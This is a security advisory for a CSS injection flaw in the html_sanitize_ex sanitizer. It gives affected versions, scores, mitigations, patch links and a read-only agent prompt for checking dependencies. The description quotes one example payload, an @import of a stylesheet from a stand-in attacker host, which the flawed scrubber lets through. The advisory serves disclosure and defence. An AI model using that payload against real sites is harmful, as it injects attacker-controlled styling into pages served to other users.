CVE-2026-68747
CSS sanitizer allowlist bypass in html_sanitize_ex via non-declaration input
Mitigation
- Upgrade html_sanitize_ex to 1.5.4 or later.
- Vendor workaround: Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow <style> elements, or define a custom scrubber that omits it.
- A Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply.
Who should check
- Anyone running rrrene html_sanitize_ex >= 0.3.1, < 1.4.5; >= 1.5.0-rc.0, < 1.5.4
- Anyone running rrrene html_sanitize_ex >= 21f90012eb21aa36f4e3701b7547e12faf0f3c8b, < *
Vulnerability facts
- Affected
- rrrene html_sanitize_ex >= 0.3.1, < 1.4.5; >= 1.5.0-rc.0, < 1.5.4; rrrene html_sanitize_ex >= 21f90012eb21aa36f4e3701b7547e12faf0f3c8b, < *
- Fixed in
- rrrene html_sanitize_ex 1.4.5, rrrene html_sanitize_ex 1.5.4
- Exploited in the wild
- Not in CISA KEV
- Public exploit / PoC
- None known
- Remote exploitation
- Remote, no login needed
- CVSS
- 2.3 (v4.0, CNA)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:NOpen in CVSS calculator
Show all 11 CVSS metrics
- Attack vector: Network
- Attack complexity: Low
- Attack requirements: Present
- Privileges required: None
- User interaction: Passive
- Confidentiality impact: None
- Integrity impact: None
- Availability impact: None
- Confidentiality impact on other systems: Low
- Integrity impact on other systems: Low
- Availability impact on other systems: None
- EPSS
- 0.46% chance of exploitation in 30 days (percentile 32, 2026-11-26)
- CWE
- CWE-74
- Modified
Description
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
Affected and fixed versions
Check your systems with an agent
Paste this into Claude Code, Cursor or another coding agent. It only reads; it changes nothing.
Check whether anything I run is affected by CVE-2026-68747. Work read-only: do not install, upgrade, delete or change anything. Details: https://flawdb.com/CVE-2026-68747.md Affected: rrrene html_sanitize_ex >= 0.3.1, < 1.4.5; >= 1.5.0-rc.0, < 1.5.4; rrrene html_sanitize_ex >= 21f90012eb21aa36f4e3701b7547e12faf0f3c8b, < * Fixed in: rrrene html_sanitize_ex 1.4.5, rrrene html_sanitize_ex 1.5.4 Steps: 1. Search this machine and project for rrrene html_sanitize_ex: dependency manifests and lockfiles, installed packages, container images and running services. 2. For each match, note the installed version and whether it is inside the affected range. 3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
References
Patches
- https://cna.erlef.org/cves/CVE-2026-68747.html
- https://osv.dev/vulnerability/EEF-CVE-2026-68747
- https://github.com/rrrene/html_sanitize_ex/commit/21f90012eb21aa36f4e3701b7547e12faf0f3c8b
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28
FAQ
Is CVE-2026-68747 being exploited?
There is no confirmed exploitation: CVE-2026-68747 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known. EPSS estimates a 0.46% chance of exploitation in the next 30 days (as of 2026-11-26).
How serious is CVE-2026-68747?
Low: CVSS 2.3 (v4.0, scored by CNA). Remote, no login needed. A user has to take an action, such as opening a link, for the attack to work.
Which versions are affected by CVE-2026-68747?
rrrene html_sanitize_ex >= 0.3.1, < 1.4.5; >= 1.5.0-rc.0, < 1.5.4; rrrene html_sanitize_ex >= 21f90012eb21aa36f4e3701b7547e12faf0f3c8b, < *.
Is there a fix for CVE-2026-68747?
Yes. Fixed in rrrene html_sanitize_ex 1.4.5, rrrene html_sanitize_ex 1.5.4. Upgrade html_sanitize_ex to 1.5.4 or later. Vendor workaround: Sanitize with basic_html/1, markdown_html/1 or strip_tags/1, none of which allow <style> elements, or define a custom scrubber that omits it. A Content-Security-Policy style-src directive that permits no external stylesheet origins stops an injected @import from loading, though injected inline rules still apply.
How do I check if I'm affected by CVE-2026-68747?
Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.